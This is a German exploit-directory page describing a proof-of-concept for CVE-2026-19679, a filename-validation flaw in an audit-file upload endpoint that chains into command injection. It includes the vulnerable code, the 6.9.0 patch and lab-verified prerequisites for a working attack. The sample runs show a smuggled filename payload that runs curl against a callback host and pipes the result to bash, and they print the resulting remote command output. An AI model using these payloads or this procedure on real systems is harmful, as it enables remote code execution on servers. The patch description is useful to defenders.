Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2026-19679 — Proof-of-concept-Exploit für CVE-2026-19679, eine Schwachstelle durch unzureichende Bereinigung von Dateinamen beim Upload von Audit-Dateien, die zu Befehlsinjizierung führt. Enthält differentielle Versionsprüfung und Exec-Modus für die Remote-Ausführung von Befehlen. | Kitploit
Tools/GitHubGitHub/h00die/poc-cve-2026-19679
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

Proof-of-concept-Exploit für CVE-2026-19679, eine Schwachstelle durch unzureichende Bereinigung von Dateinamen beim Upload von Audit-Dateien, die zu Befehlsinjizierung führt. Enthält differentielle Versionsprüfung und Exec-Modus für die Remote-Ausführung von Befehlen.

Repository anzeigen
5vor 20 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

InfoGraphic

CVE-2026-19679 — unzureichende Bereinigung hochgeladener Dateinamen (Eingabevalidierung)

Status: BESTÄTIGT in einem 6.7.2-14.el9-Labor (2026-08-20). POST /rest/auditFile mit tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" lieferte HTTP 200 und registrierte AuditFile #1000002 — der Dateiname mit Shell-Metazeichen bestand die Validierung und wurde Ende-zu-Ende gespeichert. Auf 6.9.0 wird dieselbe Anfrage mit "Invalid tailoring filename." abgelehnt.

Schwachstelle

Die Upload-Parameter der Audit-Datei (filename, tailoringFilename, tailoringOriginalFilename) werden mit () validiert, das nur drei Dinge prüft: nicht leer, kein (-Gleichheit) und dass die gestagte Datei existiert. Es gibt — , , Backticks, und Leerzeichen passieren unverändert.

PARAM_FILENAME
Utility::validateParams()
/
basename()
keine Zeichensatzbeschränkung
;
$()
${IFS}

Diese Namen fließen dann in:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (es wird eine Datei mit beliebigen Metazeichen im Namen erstellt)
  • den SCAP-Zip-Neupack-Befehl — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc"), wobei das nicht maskierte $tmpZipFile vom filename-Parameter des Clients abgeleitet wird — die nachgelagerte Befehlsinjektion von CVE-2026-19681.

Im Labor verifizierte Grenze: Traversal ist nicht Teil der Schwachstelle vor 6.9 — beide Tailoring-Parameter lehnen / ab (Fehler 146 Invalid syntax for attribute ... bei einem ../-Payload). Das fehlende Stück ist genau der Zeichensatzfilter, was der CVE-Text mit "could contribute to a downstream command injection" meint.

Patch (6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

plus basename() auf beiden Namen und escapeshellarg() auf den Zip-Operanden.

PoC

Differenzielle Versionsprüfung — eine Anfrage, gegenteilige Ergebnisse je nach Version:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200 (Audit-Datei mit dem Metazeichen-Namen erstellt) oder Fehler 106 (Post-Exec-Zurückweisung; der Name erreichte dennoch rename()/zip) → keine Zeichensatzvalidierung
  • 6.9.0 → sofortige Meldung "Invalid tailoring filename."

Betriebshinweise (alle im Labor verifiziert):

  • Die Upload-Ressource ist /rest/file/upload (Multipart Filedata, context-Formularfeld)
  • Das Audit-Zip wird mit einem leeren Kontext gestaged — context=auditFile führt eine Inhaltserkennung des Zips durch (Fehler 107 bei einem Dummy-Zip)
  • Die Tailoring-Datei muss parsebares Datastream-XML mit ≥1 Profil enthalten (eingebettet)
  • Der auditFile-Body benötigt type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName

Beziehung zu CVE-2026-19681

19679 ist die Validierungslücke; 19681 ist die Exec-Senke. Derselbe Upload-Ablauf nutzt beide aus: 19681 platziert Metazeichen im gestagten filename (über das context-Präfix des Uploads) und löst sie über das nicht maskierte $tmpZipFile aus; 19679 zeigt, dass die verwandten Parameter dieselbe Zeichenklasse bis zu (und hinein in) dieselbe Befehlszeichenkette akzeptieren. 6.9.0 behebt beide Seiten in einem Commit-Bereich: Zeichensatz + basename + escapeshellarg.

Beispiellauf

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
Tool herunterladen